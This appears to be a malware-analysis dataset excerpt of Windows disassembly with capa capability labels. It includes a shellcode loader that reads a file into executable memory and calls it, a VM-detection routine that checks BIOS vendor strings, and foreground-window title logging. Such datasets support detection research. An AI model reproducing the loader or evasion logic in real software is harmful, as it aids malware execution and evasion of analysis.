joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017ba
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:Usersinx.cod
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x56
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40183d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push ebx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor ebx, ebx
push ebx
mov esi, str.HARDWAREDESCRIPTIONSystemBIOS
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401893
push esi
push ecx
push str.Failed_to_open_registry_key:
push 0x422a50
call fcn.004047f6
add esp, 0xc
push eax
call fcn.004047f6
push eax
call fcn.00401570
add esp, 0xc
xor al, al
jmp 0x40198e
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xa8]
push eax
push ebx
push ebx
push str.SystemManufacturer
push dword [ebp - 4]
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4018dc
push str.Failed_to_query_value:_SystemManufacturer
push 0x422a50
call fcn.004047f6
push eax
call fcn.00401570
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40188c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x10], 0xf
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0x24], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4018fb
sub eax, edx
push eax
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x24]
call fcn.004034fa
push str.VMware
lea eax, [ebp - 0x24]
push eax
call fcn.00401ac2
or esi, 0xffffffff
cmp eax, esi
jne 0x401981
push str.Virtual
lea eax, [ebp - 0x24]
push eax
call fcn.00401ac2
cmp eax, esi
jne 0x401981
push str.Microsoft_Corporation
lea eax, [ebp - 0x24]
push eax
call fcn.00401ac2
cmp eax, esi
jne 0x401981
push str.innotek_GmbH
lea eax, [ebp - 0x24]
push eax
call fcn.00401ac2
cmp eax, esi
jne 0x401981
push str.Parallels_Software_International_Inc.
lea eax, [ebp - 0x24]
push eax
call fcn.00401ac2
cmp eax, esi
jne 0x401981
push ebx
push 1
lea ecx, [ebp - 0x24]
call fcn.00402a12
jmp 0x40188c
push ebx
push 1
lea ecx, [ebp - 0x24]
call fcn.00402a12
mov al, 1
pop esi
pop ebx
leave
ret
Function at 0x401992
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x108
push esi
push edi
call fcn.0040183d
test al, al
je 0x4019b1
xor eax, eax
inc eax
jmp 0x401a90
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x4019cc
push 0x100
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call fcn.00407137
mov dword [esp + 0xc], eax
pop ecx
lea eax, [esp + 8]
push eax
mov dword [esp + 0x10], edx
call fcn.00406fde
pop ecx
mov esi, eax
push dword [esi + 0xc]
mov eax, str._:_
push ecx
push eax
push ecx
mov ecx, dword [esi + 0x10]
inc ecx
push ecx
push ecx
push eax
mov eax, dword [esi + 0x14]
push ecx
add eax, 0x76c
push eax
mov edi, 0x422978
push edi
call fcn.00401b07
pop ecx
push eax
call fcn.004047f6
add esp, 0xc
push eax
call fcn.00401b07
pop ecx
push eax
call fcn.004047f6
add esp, 0xc
push eax
call fcn.00401b07
push dword [esi]
mov eax, 0x41e2ec
push ecx
push eax
push ecx
push dword [esi + 4]
push ecx
push eax
push ecx
push dword [esi + 8]
push ecx
push 0x41e2f0
push edi
call fcn.004047f6
add esp, 0xc
push eax
call fcn.00401b07
pop ecx
push eax
call fcn.004047f6
add esp, 0xc
push eax
call fcn.00401b07
pop ecx
push eax
call fcn.004047f6
add esp, 0xc
push eax
call fcn.00401b07
push eax
call fcn.00401570
pop ecx
call fcn.004015dc
call fcn.0040177a
call fcn.004017ba
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40222a
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a50e
call fcn.00417264
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x402247
xor eax, eax
jmp 0x40226f
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x40227f
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x40227f
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x40229f
mov ecx, esi
call fcn.00402d0b
cmp dword [esi + 0x44], edi
jne 0x4022a4
push dword [esi + 0x54]
push ebx
call fcn.004015a6
pop ecx
pop ecx
test al, al
jne 0x40226c
or eax, 0xffffffff
jmp 0x40226e
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.0040356e
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402357
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x402375
cmp eax, 1
jg 0x40235f
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x40230b
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x402331
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x40231e
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00406c93
add esp, 0x10
cmp edi, eax
jne 0x402375
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x40238b
test edi, edi
jne 0x4022c3
cmp dword [ebp - 0x24], 0x20
jae 0x402375
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.00402892
jmp 0x4022c3
mov edx, dword [ebp - 0x34]
jmp 0x4022d5
cmp eax, 3
jne 0x402375
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.004015a6
pop ecx
pop ecx
test al, al
jne 0x40238b
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00402a12
mov eax, esi
jmp 0x40226e
mov esi, dword [ebp + 8]
jmp 0x402378
Function at 0x402bde
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a566
call fcn.00417264
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x402cd3
cmp byte [esi + 0x49], bl
je 0x402cd3
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x402c16
xor al, al
jmp 0x402cd5
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.0040356e
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402c76
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x402c7b
dec eax
je 0x402c7f
dec eax
dec eax
je 0x402ccf
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402a12
mov al, bl
pop edi
jmp 0x402cd5
mov edx, dword [ebp - 0x2c]
jmp 0x402c40
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402c8b
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x402cb1
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402c9e
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00406c93
add esp, 0x10
cmp edi, eax
jne 0x402c63
cmp byte [esi + 0x49], 0
je 0x402ccf
test edi, edi
jne 0x402c32
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00402892
jmp 0x402c32
mov bl, 1
jmp 0x402c65
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x408071
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42165c]
jne 0x40807b
repz ret
jmp fcn.0040e85c
Function at 0x414d44
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42165c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c848
and dword [ebp - 0x14], 0
cmp dword [0x4239bc], 0
mov dword [ebp - 0x18], eax
jne 0x414df7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x414e9f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x414e9f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4239bc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4239c0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4239c4], eax
call edi
push eax
call esi
mov dword [0x4239cc], eax
test eax, eax
je 0x414df7
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4239c8], eax
mov eax, dword [0x4239c8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x414e50
cmp dword [0x4239cc], ecx
je 0x414e50
push eax
call esi
push dword [0x4239cc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x414e50
test ebx, ebx
je 0x414e50
call edi
test eax, eax
je 0x414e47
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x414e47
test byte [ebp - 8], 1
jne 0x414e50
or dword [ebp + 0x10], 0x200000
jmp 0x414e83
mov eax, dword [0x4239c0]
cmp eax, dword [ebp - 0x18]
je 0x414e83
push eax
call esi
test eax, eax
je 0x414e83
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x414e83
mov eax, dword [0x4239c4]
cmp eax, dword [ebp - 0x18]
je 0x414e83
push eax
call esi
test eax, eax
je 0x414e83
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4239bc]
call esi
test eax, eax
je 0x414e9f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x414ea1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408071
leave
ret
Function at 0x401407
Capabilities:
Terminate process

Disassembly:
push ebx
mov eax, 0x46abeb
mov ebx, 0x12345678
mov ecx, 0x12345678
mov edx, 0x12345678
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [section..data], eax
jmp loc.0047b432
Function at 0x401c57
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0xa3f0c0]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x401ca0
push str.SetDefaultDllDirectories
push 0xa0c570
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401ca0
push 0xc00
call eax
test eax, eax
jne 0x401d3c
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x401d3c
cmp eax, 0x104
ja 0x401d3c
push 0x5c
pop ecx
cmp word [ebp + eax*2 - 0x2d6], cx
je 0x401cd7
mov word [ebp + eax*2 - 0x2d4], cx
inc eax
mov cl, byte [str.userenv]
push esi
mov esi, str.userenv
test cl, cl
je 0x401d3b
push ebx
push edi
lea edi, [ebp - 0x2d4]
push 0x6c
lea edi, [edi + eax*2]
pop ebx
mov edx, edi
inc esi
movzx eax, cl
mov cl, byte [esi]
inc esi
mov word [edx], ax
lea edx, [edx + 2]
test cl, cl
jne 0x401cf8
push 0x2e
pop eax
push 0x64
mov word [edx], ax
pop eax
mov word [edx + 2], ax
xor eax, eax
push 8
push eax
mov word [edx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov word [edx + 4], bx
mov word [edx + 6], bx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov cl, byte [esi]
test cl, cl
jne 0x401cf5
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.009919cb
leave
ret
Function at 0x4053f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
xor edx, edx
xor eax, eax
push ebx
push esi
mov esi, dword [ebp + 8]
inc eax
push edi
push 0x20
pop ecx
or dword [esi + 0x90], 0xffffffff
lea ebx, [esi + 0xc8]
or dword [esi + 0x94], 0xffffffff
mov dword [esi + 0x30], eax
mov dword [esi + 0x44], eax
mov eax, dword [esi + 4]
cmp eax, ecx
mov dword [esi + 0x78], edx
cmova eax, ecx
mov dword [esi + 0x7c], edx
mov dword [esi + 0x54], eax
mov eax, dword [esi]
mov dword [esi + 0x34], edx
mov dword [esi + 0x38], edx
mov dword [esi + 0x3c], edx
mov dword [esi + 0x40], edx
mov dword [esi + 0x70], edx
mov dword [esi + 0x88], edx
mov dword [esi + 0x68], edx
mov dword [esi + 0x6c], edx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], edx
mov dword [esi + 0x50], edx
mov dword [esi + 0x60], edx
mov dword [esi + 0x64], edx
mov dword [esi + 0x80], edx
mov dword [esi + 0x84], edx
mov dword [esi + 0x58], edx
cmp eax, dword [esi + 0x20]
je 0x4054a8
mov edi, ebx
mov dword [ebp - 4], ecx
mov eax, ecx
cmp dword [edi + 8], edx
je 0x405484
push edi
call fcn.004053c5
mov eax, dword [ebp - 4]
xor edx, edx
add edi, 0x28
sub eax, 1
mov dword [ebp - 4], eax
jne 0x405474
cmp dword [esi + 0x5c], 0
je 0x4054a3
mov eax, dword [esi + 0x14]
push dword [esi + 0x5c]
push eax
call dword [eax + 4]
and dword [esi + 0x5c], 0
mov eax, dword [esi]
mov dword [esi + 0x20], eax
push dword [esi + 0x10]
lea eax, [esi + 0x98]
push eax
call fcn.0040639a
mov ecx, dword [esi + 0x58]
and dword [esi + 0x24], 0
and dword [esi + 0x28], 0
lea eax, [ecx + 5]
imul edx, eax, 0x28
lea eax, [ecx + 1]
mov dword [esi + 0x58], eax
add edx, esi
push edx
mov dword [ebp - 4], edx
call fcn.0040539f
mov edi, eax
test edi, edi
jne 0x405529
mov eax, dword [ebp - 4]
add eax, 0x20
push eax
call fcn.0040652c
mov edi, eax
test edi, edi
jne 0x405529
mov eax, dword [ebp - 4]
add eax, 0x1c
push eax
call fcn.0040652c
mov edi, eax
test edi, edi
jne 0x405529
push dword [ebp - 4]
call fcn.00406311
mov edi, eax
test edi, edi
je 0x405529
and dword [esi + 0x44], 0
push 0x20
pop esi
push ebx
call fcn.00405321
add ebx, 0x28
sub esi, 1
jne 0x405518
mov esi, dword [ebp + 8]
movzx eax, di
or eax, 0x80070000
test edi, edi
cmovle eax, edi
test eax, eax
je 0x40553d
mov dword [esi + 0x40], eax
xor edx, edx
cmp dword [esi + 0x38], edx
jne 0x405551
cmp dword [esi + 0x40], edx
jne 0x405551
cmp dword [esi + 0x3c], edx
jne 0x405551
mov dword [esi + 0x44], edx
xor ecx, ecx
cmp dword [esi + 0x44], edx
pop edi
pop esi
cmovne eax, ecx
pop ebx
leave
ret 4

Function at 0x406639
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push esi
call fcn.009ea15b
mov ecx, dword [ebp + 8]
add esp, 0x18
mov dword [ecx], eax
test eax, eax
jne 0x406665
call fcn.0040654b
mov esi, eax
mov eax, esi
pop esi
leave
ret 0xc
Function at 0x408108
Capabilities:
Create directory

Disassembly:
push 0x44
mov eax, 0xa08adb
call fcn.00991c7a
cmp byte [0xa40f54], 0
mov edi, dword [ebp + 8]
jne 0x408155
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.004076e2
xor ebx, ebx
push ebx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0x18]
mov esi, eax
call fcn.00991c44
pop ecx
test esi, esi
jne 0x408163
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x408167
xor al, al
jmp 0x40819c
xor ebx, ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x408144
mov al, 1
jmp 0x40819c
lea ecx, [ebp - 0x50]
call fcn.0040898f
lea ecx, [ebp - 0x28]
call fcn.00406b2f
push ebx
push edi
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.00408b57
test al, al
je 0x408191
mov ebx, dword [ebp - 0x30]
shr ebx, 4
and bl, 1
push dword [ebp - 0x28]
call fcn.00991c44
pop ecx
mov al, bl
call fcn.00991c57
ret 4

Function at 0x4081a4
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0xa40f54], 0
jne 0x4081e2
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.004076e2
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00991c44
pop ecx
test esi, esi
pop esi
jne 0x4081de
xor al, al
jmp 0x4081f2
mov al, 1
jmp 0x4081f2
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne al
leave
ret 4

Function at 0x408368
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.00409168
cmp eax, 0xffffffff
je 0x408395
mov ecx, eax
and cl, 0x11
cmp cl, 1
jne 0x408395
and eax, 0xfffffffe
push eax
push esi
call fcn.004088fe
test al, al
je 0x4083bf
cmp byte [0xa40f54], 0
push esi
jne 0x4083c7
lea eax, [ebp - 0xc]
push eax
call fcn.004076e2
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00991c44
pop ecx
test esi, esi
jne 0x4083c3
xor al, al
jmp 0x4083d2
mov al, 1
jmp 0x4083d2
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne al
pop esi
leave
ret 4

Function at 0x408646
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0xa40f54], 0
jne 0x408682
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.004076e2
push dword [eax]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00991c44
pop ecx
test esi, esi
pop esi
jne 0x40867e
xor al, al
jmp 0x408690
mov al, 1
jmp 0x408690
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
leave
ret 4
Function at 0x408858
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0xa40f54], 0
jne 0x40888c
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.004076e2
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00991c44
pop ecx
test esi, esi
pop esi
jmp 0x408897
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
setne al
leave
ret 4

Function at 0x4088fe
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0xa40f54], 0
jne 0x40893d
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.004076e2
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00991c44
pop ecx
test esi, esi
pop esi
jne 0x408939
xor al, al
jmp 0x40894e
mov al, 1
jmp 0x40894e
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne al
leave
ret 8

Function at 0x409168
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0xa40f54], 0
jne 0x40919c
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.004076e2
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00991c44
pop ecx
mov eax, esi
pop esi
jmp 0x4091af
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, eax
mov eax, ecx
leave
ret 4

Function at 0x4093a5
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4093cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4093cf
xor al, al
jmp 0x4093e3
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [ebp - 4]
add ecx, esi
adc edx, 0
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4
Function at 0x41652b
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa0991a
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0xa3f0c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 0xa8]
call fcn.004165dd
lea ecx, [esi + 0x78]
call fcn.004165dd
push dword [esi + 0x30]
call fcn.00991c44
push dword [esi + 0x24]
call fcn.00991c44
push dword [esi + 0x18]
call fcn.00991c44
add esp, 0xc
and dword [ebp - 4], 0
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x41658f
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 8]
mov dword [ebp - 4], 1
test ecx, ecx
je 0x4165a3
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 4]
mov dword [ebp - 4], 2
test ecx, ecx
je 0x4165b7
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi]
mov dword [ebp - 4], 3
test ecx, ecx
je 0x4165ca
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
leave
ret
Function at 0x419716
Capabilities:
Hide graphical window

Disassembly:
push 0x10
mov eax, 0xa08943
call fcn.00991c7a
mov esi, ecx
push 0
push dword [ebp + 0xc]
lea ecx, [esi + 0x68]
push dword [ebp + 8]
call fcn.0041928c
push 0xce4
lea eax, [ebp - 0x1c]
push eax
call fcn.0040a06a
push dword [ebp - 0x1c]
and dword [ebp - 4], 0
push dword [esi + 0x6c]
call fcn.0040a381
push dword [ebp - 0x1c]
call fcn.00991c44
pop ecx
push 1
push dword [esi + 0x6c]
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
call fcn.00991c57
ret 8
Function at 0x41cb8e
Capabilities:
Create thread

Disassembly:
push 0
mov eax, 0xa0a1b4
call fcn.00991c7a
mov edi, ecx
push dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push dword [ebp + 8]
push eax
call fcn.0041cbfb
xor ecx, ecx
add esp, 0xc
mov ebx, dword [eax]
mov dword [eax], ecx
mov dword [ebp + 8], ebx
mov dword [ebp - 4], ecx
cmp dword [ebp + 0xc], ecx
je 0x41cbcd
push 8
push dword [ebp + 0xc]
call fcn.00991c2d
pop ecx
pop ecx
xor ecx, ecx
lea esi, [edi + 4]
push esi
push ecx
push ebx
push 0x41cb39
push ecx
push ecx
call fcn.009ea15b
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x41cbf0
call fcn.00991c57
ret 8
and dword [esi], 0
push 6
call fcn.00993373
int3
Function at 0x43b679
Capabilities:
Create thread

Disassembly:
push 0
mov eax, 0xa0a1b4
call fcn.00991c7a
mov edi, ecx
push dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push dword [ebp + 8]
push eax
call fcn.0041cbfb
xor ecx, ecx
add esp, 0xc
mov ebx, dword [eax]
mov dword [eax], ecx
mov dword [ebp + 8], ebx
mov dword [ebp - 4], ecx
cmp dword [ebp + 0xc], ecx
je 0x43b6b8
push 8
push dword [ebp + 0xc]
call fcn.00991c2d
pop ecx
pop ecx
xor ecx, ecx
lea esi, [edi + 4]
push esi
push ecx
push ebx
push 0x43b623
push ecx
push ecx
call fcn.009ea15b
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x43b6db
call fcn.00991c57
ret 8
and dword [esi], 0
push 6
call fcn.00993373
int3
Function at 0x49019d
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0xa3f0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, ecx
or esi, 0xffffffff
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push 3
push ecx
push eax
call dword [ebx + 0x18]
mov edi, eax
cmp edi, esi
je 0x4901f1
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push 0xc
lea eax, [ebp - 0x14]
push eax
push ecx
push ecx
push 0x2d1080
push edi
call dword [ebx + 8]
test eax, eax
push edi
cmovne esi, dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.009919cb
leave
ret 4